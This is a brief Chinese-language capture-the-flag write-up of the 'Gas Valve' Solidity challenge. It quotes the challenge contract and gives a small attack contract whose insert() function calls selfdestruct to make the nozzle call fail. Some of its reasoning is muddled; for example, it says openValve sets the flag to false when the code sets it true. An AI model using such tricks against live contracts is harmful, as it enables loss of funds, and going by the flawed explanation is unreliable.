CTF-GasValue

这个题要求我们使open为faluse
源代码如下:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

interface INozzle {
function insert() external returns (bool);
}

/// @title Gas Valve
/// @author https://twitter.com/bahurum
/// @notice The evil Dr. N. Gas has created a machine to suck all the air out of the atmosphere. Anon, you must deactivate it before it's too late!
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/gas-valve
contract Valve {
bool public open;
bool public lastResult;

function useNozzle(INozzle nozzle) public returns (bool) {
try nozzle.insert() returns (bool result) {
lastResult = result;
return result;
} catch {
lastResult = false;
return false;
}
}

function openValve(INozzle nozzle) external {
open = true;
(bool success,) = address(this).call(abi.encodeWithSelector(this.useNozzle.selector, nozzle));
require(!success);
}
}

首先看到这个题的时候,发现前俩天才在java课上学习到了try catch的抛出错误的用法,今天就在solidity中看见了,只不过Java中try catch不仅检查自己本身程序是否有异常,还多个finally的用法,而solidity中,try catch用法主要处理调用外部函数的异常

分析题目:有接口INozzle,try catch 主要就是检查调用接口中insert函数是否有错误,然后看到openValue函数中居然把opend设置为false,而我有没有发现如何才能改变opend值的地方,就陷入了困境,于是看了一下别人的思路,原来这道题的关键点是如何消耗完gas,并且不会抛出异常,查看这个问答,了解到Gas refunds are provided when clearing storage or calling on contracts.SELFDESTRUCT,所以我们就可以在调用insert函数中,使用自毁合约,退回gas费用,并且不会抛出错误
攻击合约

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

contract ValveHacker {

constructor() {

}

function insert() public returns (bool result) {
selfdestruct(payable(msg.sender));
}

}

完成。